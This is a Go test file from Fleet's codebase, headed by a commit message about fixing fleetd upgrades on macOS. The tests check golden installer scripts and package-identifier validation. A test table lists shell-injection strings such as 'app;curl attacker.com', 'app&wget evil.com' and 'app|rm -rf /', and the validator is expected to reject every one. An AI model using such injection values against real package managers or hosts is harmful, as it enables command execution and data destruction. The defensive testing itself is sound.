fleet/pkg/file/management_test.go
Nico b42fc182fe
Fix fleetd in-band upgrade on macOS hosts (#42187)
<!-- Add the related story/sub-task/bug number, like Resolves #123, or
remove if NA -->
**Related issue:** Resolves #32126

# Checklist for submitter


- [x] Changes file added for user-visible changes in `changes/`,
`orbit/changes/` or `ee/fleetd-chrome/changes`.
See [Changes
files](https://github.com/fleetdm/fleet/blob/main/docs/Contributing/guides/committing-changes.md#changes-files)
for more information.

## Testing

- [ ] Added/updated automated tests

- [x] QA'd all new/changed functionality manually

Steps:
- Have fleetd installed on the host.
- `make build` and re-run the server.
- Generate a new fleetd package: `./build/fleetctl package --type=pkg
--enable-scripts --fleet-desktop --fleet-url=<URL>
--enroll-secret=<SECRET>`
- Upload the newly-generated `fleet-osquery.pkg` to Host details >
Software > Library.
- Click `Install`.
- When the install finishes, verify that the UI says `Installed`:

<img width="1433" height="392" alt="Screenshot 2026-03-20 at 4 42 19 PM"
src="https://github.com/user-attachments/assets/ec78b63e-e5c7-4b27-acde-4e4f63f5f7b2"
/>

- Verified logs:

`/var/log/orbit/orbit.stderr.log` logs after successful upgrade:

```
2026-03-20T16:24:58-03:00 INF hash(orbit)=4ba4729515dc6923cf54eaca610c6dbded344941a10e552579c19676b7419bc5643e98fd8cf404d8ed2cd6168d7b756b2df56997ff41b51b520fa6456b407979
2026-03-20T16:24:58-03:00 INF hash(osqueryd)=9d2ab3eb30537e38c78a089ae28196d34afc436030bca10ae60a06fd20e344bc911ab0e036e8abb44e401809b6056a04aa9dddf00d90386a451fe55ca3a0ffe8
2026-03-20T16:24:58-03:00 INF hash(desktop)=9317a1617709492dec2cb2ff3821412e5061c402b1c7988f16a99faa81b2c8dffa1fb038d5fb8c4dae67e5545a577bbe6b1a8c13adb39453b2ba7bddfb36dafa
2026-03-20T16:24:58-03:00 INF orbit version: 1.53.1
2026-03-20T16:25:00-03:00 INF Found osquery version: 5.21.0
2026-03-20T16:25:12-03:00 INF token rotation is enabled
2026-03-20T16:25:14-03:00 INF Found fleet-desktop version: 1.53.1
2026-03-20T16:25:14-03:00 INF checking for custom mdm enrollment profile with end user email
2026-03-20T16:25:14-03:00 INF get custom enrollment profile end user email: profile not found
2026-03-20T16:25:14-03:00 INF orbitClient.GetServerCapabilities() map[end_user_email:{} escrow_buddy:{} linux_disk_encryption_escrow:{} macos_web_setup_experience:{} orbit_endpoints:{} setup_experience:{} token_rotation:{} web_setup_experience:{}]
2026-03-20T16:25:14-03:00 INF opening path="/opt/orbit/bin/desktop/macos/stable/Fleet Desktop.app"
2026-03-20T16:25:14-03:00 INF start osqueryd cmd="/opt/orbit/bin/osqueryd/macos-app/stable/osquery.app/Contents/MacOS/osqueryd --pidfile=/opt/orbit/osquery.pid --extensions_socket=/opt/orbit/orbit-osquery.em --logger_path=/opt/orbit/osquery_log --enroll_secret_env ENROLL_SECRET --tls_hostname=nicofleet.ngrok.io --enroll_tls_endpoint=/api/v1/osquery/enroll --config_plugin=tls --config_tls_endpoint=/api/v1/osquery/config --config_refresh=60 --disable_distributed=false --distributed_plugin=tls --distributed_tls_max_attempts=10 --distributed_tls_read_endpoint=/api/v1/osquery/distributed/read --distributed_tls_write_endpoint=/api/v1/osquery/distributed/write --logger_plugin=tls,filesystem --logger_tls_endpoint=/api/v1/osquery/log --disable_carver=false --carver_disable_function=false --carver_start_endpoint=/api/v1/osquery/carve/begin --carver_continue_endpoint=/api/v1/osquery/carve/block --carver_block_size=8000000 --tls_accept_gzip=true --tls_server_certs /opt/orbit/certs.pem --augeas_lenses /opt/orbit/lenses --force --flagfile /opt/orbit/osquery.flags --host-identifier uuid --database_path /opt/orbit/osquery.db"
2026-03-20T16:25:14-03:00 INF killing any pre-existing fleet-desktop instances
I0320 16:25:20.108963 1878142976 interface.cpp:137] Registering extension (com.fleetdm.orbit.osquery_extension.v1, 45937, version=, sdk=)
I0320 16:25:30.446642 194764992 eventfactory.cpp:156] Event publisher not enabled: endpointsecurity: EndpointSecurity is disabled via configuration
I0320 16:25:30.474906 194764992 eventfactory.cpp:156] Event publisher not enabled: endpointsecurity_fim: EndpointSecurity is disabled via configuration
I0320 16:25:30.475134 194764992 eventfactory.cpp:156] Event publisher not enabled: openbsm: Publisher disabled via configuration
I0320 16:25:30.475183 194764992 eventfactory.cpp:156] Event publisher not enabled: scnetwork: Publisher not used
I0320 16:25:30.475217 194764992 eventfactory.cpp:156] Event publisher not enabled: event_tapping: Publisher disabled via configuration
2026-03-20T16:27:14-03:00 INF received notification for software installers: [147149e7-2634-4b23-b724-aafc995e3f09] runner=installer
2026-03-20T16:27:14-03:00 INF processing installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer
2026-03-20T16:27:14-03:00 INF fetching installer details installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer
2026-03-20T16:27:14-03:00 INF about to download software installer from Fleet installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer
2026-03-20T16:27:37-03:00 INF done downloading installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer
2026-03-20T16:27:37-03:00 INF software installer downloaded installerID=147149e7-2634-4b23-b724-aafc995e3f09 installerPath=/tmp/3354102551/fleet-osquery.pkg runner=installer
2026-03-20T16:27:37-03:00 INF about to run install script installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer
2026-03-20T16:27:40-03:00 INF install script exitCode=0 installerID=147149e7-2634-4b23-b724-aafc995e3f09 runner=installer
```

---------

Co-authored-by: Lucas Manuel Rodriguez <lucas@fleetdm.com>
2026-03-27 09:04:14 -03:00

159 lines
4.2 KiB
Go

package file
import (
"flag"
"io"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
var update = flag.Bool("update", false, "update the golden files of this test")
func TestMain(m *testing.M) {
flag.Parse()
os.Exit(m.Run())
}
// Note: to update the goldens, delete testdata/scripts/* and run the tests with `-update`:
//
// go test ./pkg/file/... -update
func TestGetInstallAndRemoveScript(t *testing.T) {
t.Parallel()
scriptsByType := map[string]map[string]string{
"msi": {
"install": "./scripts/install_msi.ps1",
"remove": "./scripts/remove_msi.ps1",
"uninstall": "./scripts/uninstall_msi.ps1",
},
"pkg": {
"install": "./scripts/install_pkg.sh",
"remove": "./scripts/remove_pkg.sh",
"uninstall": "./scripts/uninstall_pkg.sh",
},
"deb": {
"install": "./scripts/install_deb.sh",
"remove": "./scripts/remove_deb.sh",
"uninstall": "./scripts/uninstall_deb.sh",
},
"rpm": {
"install": "./scripts/install_rpm.sh",
"remove": "./scripts/remove_rpm.sh",
"uninstall": "./scripts/uninstall_rpm.sh",
},
"exe": {
"install": "",
"remove": "./scripts/remove_exe.ps1",
"uninstall": "",
},
}
for itype, scripts := range scriptsByType {
gotScript := GetInstallScript(itype)
assertGoldenMatches(t, scripts["install"], gotScript, *update)
gotScript = GetRemoveScript(itype)
assertGoldenMatches(t, scripts["remove"], gotScript, *update)
gotScript = GetUninstallScript(itype)
assertGoldenMatches(t, scripts["uninstall"], gotScript, *update)
}
// Fleetd-specific install script for pkg
assertGoldenMatches(t, "./scripts/install_pkg_fleetd.sh", InstallPkgFleetdScript, *update)
}
func TestValidatePackageIdentifiers(t *testing.T) {
t.Parallel()
t.Run("valid identifiers", func(t *testing.T) {
validIDs := []string{
"com.example.app",
"ruby",
"org.mozilla.firefox",
"{12345-ABCDE-67890}",
"Microsoft.VisualStudioCode",
"package/name",
"my-app_v2.0+build1",
"app:latest",
"name@version",
"path/to/pkg",
"a~b",
"comma,separated",
"with spaces",
"CrossCore\u00ae Embedded Studio v3.0.2",
"Adobe Acrobat (64-bit)",
"C# Runtime",
"日本語アプリ",
}
require.NoError(t, ValidatePackageIdentifiers(validIDs, ""))
require.NoError(t, ValidatePackageIdentifiers(nil, "{UPGRADE-CODE-123}"))
require.NoError(t, ValidatePackageIdentifiers(validIDs, "{UPGRADE-CODE-123}"))
})
t.Run("empty inputs", func(t *testing.T) {
require.NoError(t, ValidatePackageIdentifiers(nil, ""))
require.NoError(t, ValidatePackageIdentifiers([]string{}, ""))
})
t.Run("malicious package IDs", func(t *testing.T) {
maliciousIDs := []struct {
name string
id string
}{
{"command substitution", "com.app$(id)"},
{"backtick execution", "app`id`"},
{"pipe injection", "app|rm -rf /"},
{"semicolon injection", "app;curl attacker.com"},
{"ampersand injection", "app&wget evil.com"},
{"redirect output", "app>file"},
{"redirect input", "app<file"},
{"single quote", "app'break"},
{"double quote", `app"break`},
{"backslash", `app\n`},
{"newline", "app\nid"},
{"exclamation", "app!cmd"},
}
for _, tc := range maliciousIDs {
t.Run(tc.name, func(t *testing.T) {
err := ValidatePackageIdentifiers([]string{tc.id}, "")
require.Error(t, err)
assert.Contains(t, err.Error(), "contains invalid characters")
})
}
})
t.Run("malicious upgrade code", func(t *testing.T) {
err := ValidatePackageIdentifiers(nil, "code$(id)")
require.Error(t, err)
assert.Contains(t, err.Error(), "upgrade code")
assert.Contains(t, err.Error(), "contains invalid characters")
})
}
func assertGoldenMatches(t *testing.T, goldenFile string, actual string, update bool) {
t.Helper()
if goldenFile == "" {
require.Empty(t, actual)
return
}
goldenPath := filepath.Join("testdata", goldenFile+".golden")
f, err := os.OpenFile(goldenPath, os.O_RDWR|os.O_CREATE, 0o644) // nolint:gosec // G302
require.NoError(t, err)
defer f.Close()
if update {
_, err := f.WriteString(actual)
require.NoError(t, err)
return
}
content, err := io.ReadAll(f)
require.NoError(t, err)
assert.Equal(t, string(content), actual)
}